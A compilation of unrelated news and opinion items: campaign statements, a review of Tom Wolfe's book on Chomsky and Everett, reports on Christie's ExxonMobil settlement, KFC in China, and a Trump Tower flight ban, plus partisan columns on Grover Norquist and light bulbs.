vote. It is important to educate yourself with the truth and facts about each candidate. Do some research on your own and find out the information to separate truth from fiction. And locate this information on some platform that does not contain the latest Kim Kardashian nude selfie.
-UPDATE: Obama campaign manager Jim Messina says in an emailed statement: “It's shocking that a candidate for President of the United States would go behind closed doors and declare to a group of wealthy donors that half the American people view themselves as ‘victims,’ entitled to handouts, and are unwilling to take ‘personal responsibility’ for their lives. It’s hard to serve as president for all Americans when you’ve disdainfully written off half the nation.”  Romney campaign communications director Gail Gitcho issued the following statement e-mailed to reporters: "Mitt Romney wants to help all Americans struggling in the Obama economy. As the governor has made clear all year, he is concerned about the growing number of people who are dependent on the federal government, including the record number of people who are on food stamps, nearly one in six Americans in poverty, and the 23 million Americans who are struggling to find work. Mitt Romney's plan creates 12 million new jobs in four years, grows the economy and moves Americans off of government dependency and into jobs."
-Does he get the linguistics right? That’s the question many may expect a linguist to answer about Tom Wolfe’s The Kingdom of Speech, a chronicle in high Wolfean about — to put it narrowly — a debate between linguists about sentence structure.  Sound dull? On one level, it’s an intermural academic catfight — one that I confess I never expected to see cast in the behind-the-music format of Wolfe’s classics Radical Chic and Mau-Mauing the Flak Catchers. But the debate is considered by some linguists to be one of the most important in the social sciences, with implications for evolutionary theory, neuroscience, and "human nature" itself.  To put it slightly more broadly, Wolfe’s topic is Noam Chomsky’s proposal that all humans are born with a sentence structure blueprint programmed in their brains, invariant across the species, and that each language is but a variation upon this "universal grammar" generated by an as-yet unidentified "language organ." In other words, we are born already knowing language.  Wolfe mounts a grand debunking — attempting to take down not just Chomsky the linguist but, as collateral damage, Chomsky the left intellectual. Unfortunately, while Wolfe, as always, certainly keeps you reading, he barely scratches the surface of the rich topic of linguistics, and winds up caricaturing both the man he wants to knock off the pedestal as well as the insurgent academics who have questioned the very premises of his approach to language.  According to Chomsky’s revolutionary view, first introduced the 1950s and early '60s, we need only learn which words our particular language uses for things; the variation in vocabulary is trivial compared with the deep machinery of universal grammar.  One might object that languages seem to differ mightily also in how they put words together, but Chomsky hypothesizes that these differences all come down to a few "switches" that flip in a toddler’s brain. Flip one this way and you get a language where the verb comes at the end of the sentence, flip it that way for languages like English where the verb sits in the middle of the sentence, and so on. Chomsky famously believes that a Martian would see all 7,000 of the world’s languages as a single one — universal grammar — with variations.  But in 2005, linguist Daniel Everett, then at Illinois State University, announced that the language of a tiny group in the Amazon lacks a fundamental feature of Chomsky’s proposed universal grammar: "recursion," or the ability to nest ideas inside one another. ("Recursion" is what lets you stack clauses to say something like, "The man / whose boat I saw / said / that he couldn’t imagine / why anyone would try that"). And since these tribespeople are Homo sapiens like everyone else, this absence proves that no universal grammar could exist. Needless to say, Chomskyans didn’t like this.  Does the language of a small tribe in the Amazon upend Chomsky’s life’s work?  Wolfe casts Everett as the deus ex machina saving the world from a Chomsky whose hermetic linguistic geekery would have fooled no one without the reflected glory of his fame as a political pundit. To Wolfe, Everett is a "rugged outdoorsman, a hard rider with a thatchy reddish beard and a head of thick thatchy reddish hair." In contrast, Chomsky and the gang are pale, computer-bound geeks:  Only wearily could Chomsky endure traditional linguists who … thought fieldwork was essential and wound up in primitive places, emerging from the tall grass zipping their pants up.… What difference did it make, knowing all those native tongues? Chomsky made it clear he was elevating linguistics to the altitude of Plato's — and the Martian's — transcendental eternal universals. They, not sacks of scattered facts, were the ultimate reality, the only true objects of knowledge. Besides, he didn't enjoy the outdoors, where "the field" was.  Passages like this are rife in the book and inevitably fun, but overall the book is a baggy splotch, seemingly a padded version of the section, focusing on Chomsky and Everett, that recently appeared in Harper’s. The entire first half of the book, for example, recounts Charles Darwin's grappling with the fact that Alfred Russel Wallace hit upon natural selection before him, but the connection between this and the Chomsky-Everett dustup is tenuous, at best. This part comes across as a disproportionately lengthy throat clearing.  However, a more serious problem is that Wolfe’s portrait of the linguistic aspect of the issue is so superficial that participants on both sides of the debate end up looking silly. One comes away with an impression that Chomskyan syntacticians are a puerile bunch simply insisting that there is a literal, regional "language organ" in the brain despite having zero evidence for it. The (exaggerated) weakness of their position makes Everett’s supposed victory seem trivial.  Wolfe mounts a grand debunking — attempting to take down not just Chomsky the linguist but, as collateral damage, Chomsky the left intellectual  The meat of the debate is not whether or not these language organs exist. (The Chomskyans have long meant "organ" as shorthand for what would actually be assorted mechanisms and connections that allow speech.) Chomskyans believe that adaptations have arisen in the brain that serve exclusively to allow speech. Their opponents tend to say that speech merely piggybacks on equipment that had already evolved to allow advanced thought. The rub here is how these language "regions and linkages," as one might put it, supposedly work. Those are the kinds of details that are essentially absent from the book.  Now, Wolfe is hardly alone in maintaining an airliner’s height away when writing about Chomskyan syntax for the general public. Even Everett, in a book arguing against the whole paradigm in favor of his own (Language: The Cultural Tool), merely notes in passing that Chomskyan syntax is "highly technical." Indeed, the jargon and mechanisms are so reader-unfriendly that few would even seek to get them across to laymen. But without at least a drive-by of this rather occult framework, one can’t even begin to understand the contours, tone, and current state of the debate Wolfe covers.  Moving linguistics from the field to the lab  Chomsky "drove the discipline indoors and turned it upside down." That’s Wolfe’s description of what Chomsky did to linguistics, starting in the late 1950s, with what began as a modestly complex but also intuitive way of looking at how sentences work. The basic idea is that each language drifts away from the basic template of universal grammar, but the grammatical bedrock can always be gleaned through various quirks a syntactician is trained to tease out (just as a geologist can identify colliding tectonic plates from the surface features of a landscape).  For example, in English we say, What do you want? But Chomskyan theory suggests that when our brains first assemble such a sentence, it structures it as You want what? This hardly seems implausible, since what is the object of want and objects usually come after their verb in English (I kick the ball). Besides, we can even actually say, "You want what?" depending on the tone we intend.  Thus, Chomskyan syntax has it that — in English, although obviously not in all other languages — there is a special rule for a word like what, which moves it from after want to the beginning of the sentence.  So far, fine. But from one academic generation to the next, this method of parsing language has mission-crept into a strangely complicated business, increasingly unrelated to what either laypeople or intellectuals outside of linguistics would think of as human language. It is truly one of the oddest schools of thought I am familiar with in any discipline; it intrigues me from afar, like giant squid and 12-tone classical music.  Under the Chomskyan paradigm, we are to assume that human language is built up from what we will call little widgets, just as bodies are built from cells, cells from atoms, and atoms from particles. But in the Chomskyan world, widgets are built out of widgets, which are themselves built out of widgets. All of these language widgets have the form of pairs of a subject and predicate. That much will sound familiar from school days, but only that much.  Consider The angel found him asleep, which, to a Chomskyan, contains multitudes you could never imagine. First, deep down, the sentence does not consist of an object him and then an asleep that describes the him. Rather, deep down, The angel found him asleep is two sentences: The angel found and then a defective little sentence Him asleep. That’s one subject-predicate combination. But the subject-predicate widgets can be traced all the way down to the very fundamentals: In the angel, the is a "subject" to angel’s "predicate."  This, ladies and gentleman, is the kind of thing Everett was up against. (And this is just the very beginning of what a Chomskyan can do to a sentence.) The approach is a little exhausting, perhaps, but, depending on one's predilections, pleasingly intricate. The bristling tree diagrams all of this is illustrated with are also fun to draw — beginning students often get a kick out of them.  To many, this kind of thinking takes linguistics from the "soft" and musty to the "hard" and clean. And as to whether the density of the jargon (which I have spared the reader) is deliberately fashioned for an air of profundity, the charge is as unnecessary as it is against the lingo of literary criticism. The jargon accreted gradually and imperceptibly over decades, and is readily comprehensible to practitioners.  But do those elegant diagrams tell us anything about the brain?  The question is whether there is independent evidence that justifies assuming that speech entails these peculiar mechanisms for which there is no indication in, well, how people talk and think.  And the problem is that this independent evidence does not seem to exist; anyway, outsiders would find it peculiar how very little interest practitioners have in demonstrating such evidence. Rather, they stipulate that syntax should be this way if it is to be "interesting," if it is to be, as the literature has termed it, "robust" or "rich." Yet where does the idea that how we construct sentences must be "robust" or "rich" in the way this school approves of come from? It’s an assumption, not a finding.  One senses a field of inquiry that is, today, treading water more than making progress. Biochemists have discovered gene switches; physicists have discovered Higgs boson; paleontologists have discovered that saurischian dinosaurs were feathered. Yet asked what they have uncovered after 60 years, Chomskyan syntacticians might mention concepts such as — and here comes some of the jargon — Split IP, Merge, phases, and something called "little v," none of which correspond meaningfully with cognitive research or evolutionary theory. Many of the fundamentals remain controversial even among the scholars themselves. These days even the idea that language differences are about flipped switches is debated.  The problem has not gone unnoticed. Various linguists have leveled reasoned critiques of Chomskyan assumptions. For example, a fundamental indication of universal grammar is supposedly that children learn to speak "so quickly," but many parents of young children might question that the process is so very "quick."  More to the point, linguist Gregory Sampson notes that children also learn the awesomely complex operation of pouring one container of liquid into another early in their lives and yet no one marvels at the "quickness" here. Claiming that language is more "complex" than that feat is like saying that "War and Peace is twice as long as the River Nile," Sampson has written. There have been book-length critiques of Chomskyan syntax by Sampson as well as, more recently, Vyvyan Evans (who has written a useful article-length version). However, the enterprise marches confidently on.  In some of the mission’s members, "confident" understates the attitude. The bile from some quarters against Everett’s questioning universal grammar was chilling, and Wolfe describes these reactions with sad accuracy. I recall syntacticians insisting to me that Everett's informants must have hated him to the point where they fed him a nonsense language. (Everett lived with the Pirahã for several years.)  Rarely have I been so struck by the contrast between a boogeyman figure of discussion and the actual human being. Everett minds fame no more than anyone would, but the callow huckster figure some Chomskyans describe is actually a low-key, affable, intellectually omnivorous person, simply eager to share things he finds fascinating.  Wolfe’s stories about the arrogance of Chomsky’s acolytes ring true  Yet many linguists were not surprised by all of the vitriol, as there is a sense among some Chomskyan syntacticians that someone looking askance upon their enterprise simply doesn’t understand the jargon and arguments, and is perhaps incapable of doing so.  Armed with this attitude, the Chomskyan takeover of the field in the '60s entailed the new guard gleefully eviscerating their elders at conferences. In response to the attack, the éminence grise linguist Charles Hockett memorably intoned, "We do not enjoy being told that we are fools." That attitude has been passed down unconsciously as a kind of in-group cultural tradition, even if it is less overt and hardly universal.  Linguists often have their stories about the type. A leading Chomskyan is invited to give a presentation for a linguistics conference in a department focusing on language as a product of human cognition, and on how language changes over time. The department includes an array of founding figures of schools of thought long established as textbook canon. Yet asked his verdict on the conference by one of his graduate students, this gentleman replies, "Bullshit." Another Chomskyan dismisses any linguist not working on the syntactical paradigm as unaware of what "the real question" about language is — and wrong to think of themselves as linguists at all.  Sociolinguistics explores how speech varies according to class, gender, and race in systematic and often counterintuitive ways, analyzed via statistic analysis. Yet a crack Chomskyan teaching syntax in the department I was trained in cockily remarked to students that he had thought the whole subfield would have been abandoned years ago. His student fans fondly quoted him on this for years.  Of course, most Chomskyans behave nothing like this, but there does exist a current of opinion within the Chomskyan syntax orbit that considers most other kinds of linguistic inquiry as beside the point.  Now imagine Everett taking on this school of thought with a claim that language is simply an expression of culture, created not with a "language organ" but through basic human thought processes. (We don’t have an "organ" that, say, chimpanzees lack, but we have more cognitive horsepower.)  Everett agrees that there is some kind of genetic specification for language in a general sense — there’s a reason chimpanzees do not talk and do not even use sign language on a primitive level unless painstakingly taught to by humans. But he dismisses the idea that it calls for quietly shifting subjects, verbs bouncing around, or exercising the mental muscles that perform math and create computer programs. Language is just saying what you are: "Our identities and our cultural cloaks," as Everett has put it. For those dedicated to Chomsky’s syntactical tree diagrams, this could only sound simplistic, uninformed, and even dangerous — distracting the public from science with feel-good pablum.  However, Wolfe, for all of the rhetorical fun — there’s barely a dull sentence in The Kingdom of Speech — ultimately misses the essence of the debate from various angles. A trope of his, for example, is pale-skinned Chomskyans at their desks seeing no need to go to the trouble of consulting indigenous languages spoken in faraway, rural locations, and even rather despising such languages and the humble fieldworker types like Everett who slog around in the actual world under the impression that there is any need to gather data on "primitive" tongues, when English can tell us all we need to know.  This conception of Chomskyans as John Cleese sorts is good for comedy. But in fact, these scholars are as fascinated by "exotic" languages as other linguists, and if the stereotype of them building their theories on their own English was ever valid, it was 40 years ago.  Wolfe starts correctly, for example, in zeroing in on an iconic significance in the oft-reproduced photo the New Yorker used for a 2005 article on Everett: He’s submerged in river water up to his neck, grinning, with a Pirahã tribesman sitting up behind him smiling in a boat.  However, the significance of the photo is not, as Wolfe has it, that Everett is out working out in the wilds as a kind of linguist Grizzly Adams while Chomskyans are huddled at their desks dismissing indigenous languages as primitive. That photo's larger statement is about language as culture: that Everett got down with the Pirahã, so to speak — he was up to his neck in their waters participating in their activities.  Crucially, this perspective tends to be deeply attractive to educated observers in our times. Here is what language really is, many are inclined to think: a vocal rendition of culture and personhood, especially and most vibrantly demonstrated in the languages of people living close to the land who are so, well, real compared to us.  Indeed, the language-as-culture position attracts the educated in channeling awareness that indigenous people are not lesser than us but just fascinatingly different. In the talk Everett gives about Pirahã to general audiences, one of the moments when he most dependably delights the crowd is in describing how the men can spear a fish by throwing a spear down into the water, while when he gave it a try he could barely get the spear to pierce the surface and the men laughed at him.  The anecdote places Everett as the dear, overeducated Western boob who, if left to fend for himself for longer than about a day in the Amazon, would starve to death (or, as the photo nicely hints, "go under"). Then also, to many, the idea of language as mirroring culture is attractive in being simply easier than the dense obscurity of Chomskyan writings.  But was Everett right about that Amazonian tribe and their "simple" speech?  Wolfe, meanwhile, thinks the Chomskyans clearly lost the debate, with Everett emerging as an obvious victor. This is untrue, or at best oversimplified.  On the Chomskyans, Wolfe misunderstands what they consider important. What Wolfe considers important — understandably, since it is what would be most immediately interesting to laypeople — is how language evolved. Hence the lengthy prologue on Darwin; hence Wolfe mocking Chomsky for not knowing just what this uniquely human "language organ" that has purportedly evolved even consists of, after all of this time. "So in thirty years," Wolfe writes, "Chomsky had advanced from ‘specific neural structures, though their nature is not well understood’ to ‘some rather obscure system of thought that we know is there but we don’t know much about it.’"  But Chomsky doesn’t see this as a problem. Wolfe seems to suppose that today's generative syntacticians operate under the 19th-century scholar's cultural assumption of natural history, evolution, and development as key to the investigation of any scientific matter. But the Chomskyan is mainly interested in the present-day mechanisms that (supposedly) produce sentences, and that we don't know how they came to be worries them no more than it would a cancer researcher who found the cure but couldn't explain just how natural selection generated it. The evolution of the ability to create language is a rich subject, but it’s not Chomsky’s subject.  Meanwhile, Daniel Everett did not "slay" his adversaries. Wolfe has Everett as a towering hero, finally giving those pasty Chomskyans a black eye using the media and a best-selling book (the delightful Don’t Sleep, There Are Snakes). However, the outcome of all of this was, as typical of such encounters, nasty but inconclusive.  Wolfe describes how three die-hard Chomskyans penned an almost obsessively detailed rebuttal to Everett’s claims about Pirahã in linguistics’ flagship journal Language, making them seem like hapless, sputtering refugees from The Revenge of the Nerds. The truth is that even someone more inclined to Everett's claims than the Chomskyans' – e.g., me — who slogged through that rebuttal plus the response from Everett and a riposte from the syntacticians, ends up unexpectedly finding the syntacticians largely convincing. It seems quite plausible that Pirahã is not as quirky a human language as Everett proposed.  For example, a major sticking point was Everett’s claim that Pirahã doesn’t have this thing called recursion — that instead of The boat that I use is broken, with that I use as a kind of mini sentence of its own within The boat is broken, a Pirahã can only say I use that boat, it’s broken. From the Chomskyan perspective, this stacking of clauses is one of the fundamental traits of universal grammar.  However, the three syntacticians made a plausible case that Pirahã does have this clause stacking. Indeed, any linguist would be highly skeptical of a claim that any language didn’t. Even Everett has of late allowed that the case on recursion is not closed.  Especially tricky is where Everett takes his ideas about language as culture, where the Pirahã are concerned. He argues that the Pirahã put it as I use that boat, it’s broken because as a small group living as hunter-gatherers, they live mainly in the present and engage only with facts before them.  In contrast, to say The boat I use is broken entails a reference to your having used the boat in the past, something not in the immediate – i.e., it means to use more abstraction. In Everett’s defense, the Pirahã genuinely seem to be an unusually incurious people, with no narratives, origin stories, benevolent gods, music, dance, or interest in learning other groups’ languages. Yet it’s not really clear whether someone who says I use that boat, it’s broken is thinking any less abstractly than other people.  And although he intends nothing of the sort, Everett comes perilously close to calling the Pirahã idiots — to the point that Brazil’s National Indian Foundation barred him from further work with the Pirahã, calling his views racist. That was excessive, to be sure, but Wolfe’s portrait of Everett as a victorious gladiator in this scholarly clash is clearly drawn with overly broad strokes.  In the end, the grand old new journalist misses the target  In a weird, brief conclusion, Wolfe appears to think he himself has solved the mystery of how language evolved: Words, he says, evolved as memory aids for objects and actions. However, this hardly qualifies as an insight. It no more solves the evolution problem than saying "eating provides fuel" explains how digestion works.  The debate Wolfe covers is over nothing so simple as sequences of mnemonics. There are schools of syntax besides the Chomskyan one, more attendant to human cognition (and sometimes, evolutionary principles), which also have a good bit of jargon and require a class or two to understand (my money is one pioneered by Peter Culicover and Ray Jackendoff).  Few linguists, including Everett, would wave away all of these alternate syntax models and claim that language is nothing but tossing words together in culturally rooted ways. In 50 years, when we know more about how the brain actually works, I highly suspect that neither the "The angel-found / He asleep" nor the "cultural cloak" positions on language will turn out to truly "pop the lock" on how language is configured in the human essence. Linguistics is more truly interesting than either position implies, and to find out why, one must — after the laughter — seek sources beyond The Kingdom of Speech.  John McWhorter, a linguist, is an associate professor of English and comparative literature at Columbia University. His most recent book is Words on the Move: Why English Won’t — and Can’t — Sit Still (Like, Literally).  The Big Idea is Vox’s home for smart, sometimes scholarly, excursions into the most important issues and ideas in politics, science, and culture — often from outside contributors. If you have an idea for a piece, pitch us at thebigidea@vox.com.
-Only three months before New Jersey agreed to accept $250 million in cash from ExxonMobil to settle claims the oil giant sullied public land, Gov. Chris Christie was still signaling a hard line. The governor called the ecological damage from the firm’s refining operations “staggering and unprecedented,” and his administration continued to pursue a state lawsuit seeking nearly $9 billion in damages.  Yet as the Christie administration this week agreed to shut down its case for a fraction of its original demands, a little-noticed provision tucked into the governor's 2014 state budget appears to shed light on why he was willing to strike a settlement that quickly drew accusations of reckless lenience from environmentalists.  The language in question -- the handiwork of Christie's own administration -- empowers the governor to divert money obtained from environmental litigation away from pollution cleanup programs and into the state’s general fund, where it can be used to fill budget gaps or finance corporate subsidies. The provision explicitly takes precedence over other state laws designed to direct proceeds from environmental lawsuits into New Jersey’s environmental protection programs.  And because the provision is temporary, remaining in force only until a new budget is enacted, critics say that it effectively encourages Christie’s administration to settle cases as quickly as possible to free up cash that the governor can then tap however he sees fit. The most expedient way to accelerate a settlement is to lessen the fines sought from the company facing the lawsuit.  “This is money that rightfully belongs to the people of New Jersey to make up for the injury to the environment,” said Jeffrey Tittel, executive director of the New Jersey Sierra Club. “Instead, the governor is diverting it for other purposes. It’s a two-fer: reduced settlements help the oil companies before Christie’s presidential campaign, and Christie can quickly get more money for the record amounts of corporate subsidies he is handing out.”  Christie’s office did not respond to International Business Times’ request for comment.  The budget language in question stipulates that while the first $50 million of any environmental settlement is designated for the state’s cleanup fund, additional cash from natural resource litigation can “be deposited in the General Fund as general State revenue.” Earlier this year, with that budget language in force, the Christie administration engineered a series of settlements in a longstanding case against Occidental Petroleum. While a judge in 2011 ruled that the company was liable for between $1 billion and $4 billion, the Christie administration’s settlements totaled just $355 million.  The proposed ExxonMobil settlement and the Occidental agreement share one key element: In both cases, the defendants were represented by the law firm Archer & Greiner, which has extensive ties to the Christie administration. This same law firm represents the office of New Jersey's attorney general in other matters.  In short, as the Christie administration's lawyers squared off with their adversaries at Exxon Mobil and Occidental -- presumably seeking to maximize the settlement for the people of New Jersey -- they were conferring with the same firm that represents their interests in other litigation.  According to state records, New Jersey agencies have paid Archer & Greiner $1.1 million since Christie took office in 2010. That includes more than $336,000 from the state attorney general’s office. Government records show the firm has done state and local business in New Jersey since 2006 under both Republican and Democratic administrations.  According to the firm’s website, an Archer & Greiner partner was a member of Christie’s transition team and was appointed to serve on the board of the New Jersey Economic Development Agency, which hands out state subsidies to business. The firm is also designated as a bond counsel for the agency. Another executive at the firm’s public affairs affiliate, Richard Mroz, was appointed by Christie to head the state’s Board of Public Utilities. Mroz, who headed Archer & Greiner’s lobbying subsidiary, is a longtime friend of Christie’s and was appointed to Christie’s ethics panel. He has also made substantial campaign donations to state Republicans.  Christie’s commissioner of the Department of Community Affairs, Lori Grifa, was hired by Greiner’s government relations unit weeks before the ExxonMobil settlement was made public. According to Archer Public Affairs' website, she also served in the New Jersey Attorney General’s office from 2002 to 2003 under David Samson, who was appointed by Christie to chair the Port Authority of New York and New Jersey and whose former law partner served as attorney general under Christie.  Archer and Greiner made $30,000 worth of contributions to the Christie-led Republican Governors Association since 2013, according to data from PoliticalMoneyLine.com. Its clients ExxonMobil and Occidental donated $2 million to the RGA since 2009.  Morgan Winsor and Matthew Cunningham-Cook contributed research to this report
-Don't be fooled by the incredibly busy schedule that she's got. Jennifer Lopez is finding the time for more Shades of Blue. NBC announced Friday that it has renewed her rookie series for a second season.  The pickup comes after some aggressive time-shifting for the cop drama, which has been a welcome change for the network's long-troubled 10 p.m. Thursday time slot that Shades of Blue currently occupies. Live-plus-3 returns for the first three episodes have the series averaging a 2.5 rating in adults 18-49 and 11.2 million viewers. Its latest live-plus-7 rating has it jumping a whopping 95 percent in the key demo.  “We want to thank Jennifer, who is the hardest-working woman we know, for her incredible efforts as both the star and producer of this show, as well as our other amazing producers and cast for all their tireless work in creating one of the most compelling dramas on television today,” said NBC entertainment president Jennifer Salke. “We’re so excited to find out where this story will lead and have them raise the stakes even higher in what we know will be a fantastic second season.”  Salke is not being hyperbolic about Lopez's work ethic. The multihyphenate is currently juggling her full-time job as a judge on American Idol's final season with a newly launched Las Vegas concert residency, All I Have.
-He’s been called many things over the years, including “Finger lickin’ good” by admirers and “greasy” by detractors. But “revolutionary” is one of the last words that springs to mind when describing Colonel Harland Sanders, the grandfatherly founder of Kentucky Fried Chicken, now known as KFC.  While he might politely decline a moniker that seems more suited to Mao Zedong or Che Guevara, Sanders and the empire he began will almost certainly go down in Chinese history books as revolutionaries for how they changed the modern Chinese dining scene. KFC walked into a relative culinary desert three decades ago when it became the first foreign restaurant operator to sample the China market with its opening of a massive restaurant at the southern edge of Tiananmen Square.  As that restaurant and the chain celebrate their 30th anniversary this Sunday, KFC faces a future peppered with an entire new set of challenges. No longer are matters like finding qualified employees or suitable food suppliers issues, attesting to the huge changes that have taken place in China over the last three decades. Instead, the company faces an uncertain future due to growing competition from homegrown rivals, as well as changing consumer tastes that are swinging towards more upscale, nutritious options.  “Regarded as the earliest entrant, KFC has been one of the most important players and a giant in China’s fast-food market,” said Shirley Lu, a consultant at Euromonitor International. “KFC played a vital role in consumer education at the very beginning, as a result, largely increasing Chinese consumers’ acceptance toward not only fast food but also all kinds of Western-style food.”  In 1990, customers line up outside the first KFC restaurant in China. Photo: KFC  The first KFC restaurant in China still stands at its original location, though its interior and exterior have undergone major upgrades in keeping with the chain’s development in China. From an original two-story massive store that could seat more than 500, the restaurant has been reduced to half its size, with the original second floor taken over by a Pizza Hut, also owned by the parent company of both chains, Yum China.  Thanks in no small part to its early entry to the market, including its status as the first Western chain on the Chinese mainland, KFC has grown to become the country’s largest fast-food operator. It had 5,347 stores as of August, and has detailed lofty plans to triple the number of stores for all of Yum China’s brands over the next decade or two.  Alien landscape  The landscape was far different when KFC first came to China in the 1980s to explore opening its first store. The China of that time was just embarking into its reform era, and no major Western restaurant operators had entered the market. Western food was only available at a handful of joint venture restaurants that were off-limits to most Chinese, and concepts like friendly service, food safety and consistent quality standards were equally foreign ideas to most in the local food and beverage industry.  Thirty years ago, current KFC Beijing General Manager Zhao Li was just graduating from high school in the summer of 1987 when she saw an ad in a local newspaper looking for employees for the new store. Back then few people worked at foreign companies, and most were simply assigned to the big state-owned enterprises that were the main employers of the time.  A crowd gathers outside a KFC restaurant offering promotions for Children’s Day in 1991. Photo: KFC  Zhao recalled the massive crowd of around 1,000 people that showed up for 100 advertised positions, and being somewhat disheartened at getting No. 700 in the interviewing queue on that day in July 1987. But she persevered and was ultimately offered a position, surviving a process that included three interviews and a spoken English test, despite having limited English, little idea of what constituted Western food and zero knowledge of KFC or foreign fast food in general.  From there she and other new employees attended a boot camp, where they were trained in the chain’s seven steps of customer service. Those included such basics as greeting and looking at customers while taking orders, repeating the order to avoid mistakes and taking a customer’s money with two hands — basic concepts for Westerners but foreign in China’s “Iron Rice Bowl” of that era, where workers were guaranteed cradle-to-grave employment regardless of how they performed.  “It was one thing to learn it, but another to do it,” recalled Zhao, now in her 40s, who would go on to rise through the KFC food chain to reach her current position. “It was easy to get nervous. … The customers were a little surprised when we would welcome them into the store.”  Zhao and other early visitors to the original KFC recalled how long lines snaked outside the store in its early months, and the difficulties many people faced in figuring out alien concepts like how to order at a takeaway counter and to eat without chopsticks. There were also similarly alien prices, which averaged around 20 yuan for a meal in those days, or about $3 at current exchange rates. At a time when most people made 100 yuan per month or less, those kinds of prices were out of most people’s range.  Impressive service  Beijinger Pan Pei recalled how he was making around 500 yuan per month at that time as a freelance tour guide during his college years, an enviable position closed to most. After hearing about the restaurant, he went over one day shortly after the opening to test out the fare, which was then limited to fried chicken, mashed potatoes, coleslaw, biscuits and a few soft drinks and beer.  “We had to wait in line but not too long,” he recalled. “I don’t like greasy food, so I was a little disappointed. My deepest impression was that at that time Chinese restaurants were very backward, they had bad service and you often had to wait a long time. But at KFC we just had to wait two minutes.”  Another Beijing resident Hu Yilun was more typical of the millions of local people who wouldn’t enter KFC until years later, kept away in the early days by high prices. “It was just a distant concept to us, like buying a Bentley car would be now,” he said.  Fast forward to the present when KFC has truly become food for the masses, and Chinese palettes are far more sophisticated than those of the 1980s. The KFC of recent years has suffered from a series of minor scandals involving food safety, mostly related to its suppliers. It has also largely fallen out of vogue among the nation’s droves of newly minted young office workers, who have far more choices than people 30 years ago. Attempting to change that, the company has embarked on a major image and product overhaul, including the addition of higher-end coffee and food, as well as high-tech touches like in-store Wi-Fi.  Those efforts have borne some fruit, as the chain recently returned to same-store sales growth after a period of steady declines. But the road ahead could still be challenging in China’s massive restaurant market of today, where fast-food accounts for about one-third of the 3 trillion yuan in annual sales, said Huang Xiaobin, CEO of catering consulting firm Bestown.  “Their challenges are pretty big now because there are many Chinese rivals, most offering Chinese food choices. So they’ve taken a lot of KFC’s market share,” he said. “Chinese traditional eating habits are also getting more and more emphasis. Many of us look at their nutrition; many people think it’s very greasy and not nutritious. Many parents don’t let their children go to KFC anymore.”  (geyang@caixin.com)
-The FAA has banned all planes from flying near President-elect Donald Trump's primary residence in New York City, New York magazine reports.  The government-imposed flight restriction effectively makes Trump Tower in midtown a national security site, the magazine says. The flight ban, which keeps all planes at least 2-nautical miles away, is in effect until Inauguration Day on Jan. 20 when Trump officially moves into the White House.  According to the magazine, flight restrictions came into widespread use after 9/11 and are used to protect "nuclear power stations, big sporting events and other things that terrorists might want to fly into."  TMZ calls it a "massive security blanket" around the 68-story building on 5th Avenue and says the restrictions were put in place almost immediately after Trump was declared the winner in the presidential race.  The website reports a 1-nautical mile airspace restriction is also in place for Vice President-elect Mike Pence's home in Indiana.
-So Grover Norquist wrote a letter to one of Pennsylvania's Republican state senators:  When is a fee a tax? When Grover Norquist says so. The Inquirer reported last week that anti-tax guru Norquist was the wizard behind the Oz-like fiscal contortions of the GOP-controlled state legislature, which has refused to consider raising revenue of any kind in the face of a massive debt. It was Norquist and his D.C.-based group, Americans for Tax Reform, who advanced the "no tax" pledge signed by hundreds of elected officials, including Gov. Corbett and 34 members of the Pennsylvania General Assembly. The state House - in keeping with Corbett's "no way, no how" to new taxes - has buried any proposals to place a levy on Marcellus Shale natural gas extraction. But this month Senate President Pro Tempore Joe Scarnati (R., Jefferson) bit the bullet and offered up a shale gas "impact fee" with proceeds funneled to affected areas. Over in the governor's office, Corbett remains unwavering in his campaign-era hard line over tax increases, but in recent months has shown some hint of openness - if not support - of the prospect of an "impact fee." Until now. Because Grover - arbiter of all things fiscal throughout the land - said so. The Pittsburgh Post-Gazette today reports that Norquist sent a letter to Sen. Mary Jo White (R., Venango) whose committee would have to consider the shale fee pronouncing it, in fact, a tax. “Make no mistake, this proposal is a tax increase based on any honest and objective analysis,” Norquist wrote. “As such, a vote in favor of Senate Bill 1100 also represents a violation of the Taxpayer Protection Pledge, a commitment which Gov. Corbett and 34 members of the legislature have made to their constituents to impose any and all efforts to raise taxes."  I wonder who voted for this guy. Oh, that's right: NOBODY. He's just the guy with all the corporate cash who can target you and take you down. So the politicians will do anything, no matter how immoral or unpopular, if Grover tells them to do it.  But let's look at the logical consequences of Grover's famous strong-arm tactics. Because of Grover Norquist, the man who's vowed to drown government in a bathtub, the lives of disabled Pennsylvanians are at risk. Via RIck Smith:
-What is this country coming to?  While it is perfectly legal to kill unborn babies for any reason or no reason at all, soon it will be strictly against federal law to buy, sell or traffic in incandescent light bulbs.  I have a problem with this.  The deaths of tens of millions of American children since 1973 have been justified on the basis of “choice.” Activists for abortion on demand say they don’t necessarily justify the moral decision to kill unwanted, pre-born children, but they believe every mother has a right to make that “choice” for herself. They’re not pro-abortion, they say. They are “pro-choice.”  Of course, I’m pro-choice, too. I think women who don’t want children should do everything in their power to avoid pregnancy – up to and including becoming abstinent. That is the proper way to exercise “choice” about children.  Choice ends, however, when the life of another human being enters the picture. Just as I don’t have the right to choose to kill another human being who inconveniences me, no mother has the right to kill her unborn child because he or she inconveniences her.  Except in the extremely rare instance when a rape results in a pregnancy, women make their choices when they have sex. But even in those extremely rare instances when rape is involved, the crime hardly justifies the murder of another innocent human being.  But enough about abortion. I don’t want to talk about abortion today. I want to talk about light bulbs.  Because my right to choose is being taken away from me – and so is yours.  Did you know the congressional busybodies in Washington have actually passed a law that will ban the sale and possession of incandescent light bulbs a few years from now?  It’s still hard for me to believe.  I’ve written extensively about this – probably more than anyone else in the media.  And I’m not done.  This issue is bigger than light bulbs.  It’s about freedom. It’s about liberty. It’s about choice. It’s about the Constitution. It’s about America and free enterprise and everything that makes this country unique and special in the world.  I’ve been on something of a campaign on this issue. And the campaign will continue until someone finally turns out all the incandescent lights in America.  I hope others see the importance of this issue. If the federal government can take away your incandescent light bulbs, is there anything the federal government can’t take away from you?  So, beginning today, I’d like to enlist you in this personal cause.  If you agree with me that banning the incandescent light bulb is one of the most idiotic and unconstitutional ideas yet, here’s the way we begin fighting back.  Join my campaign for choice in light bulbs.  Here’s how it works: There’s no organization. There’s no leadership. There are no dues. There’s no mailing list. All you have to do to make a difference is buy this new magnetic bumper sticker and put it on your car(s) and truck(s). They’re inexpensive and they won’t mess up your auto. Magnetic bumper stickers can be taken off easily for washing – or when we win our victory!  Is that simple enough?  I believe this campaign can raise consciousness across this country about the federal government’s insidious plans to seize our beloved incandescent light bulbs.  I don’t want CFLs. And I sure don’t 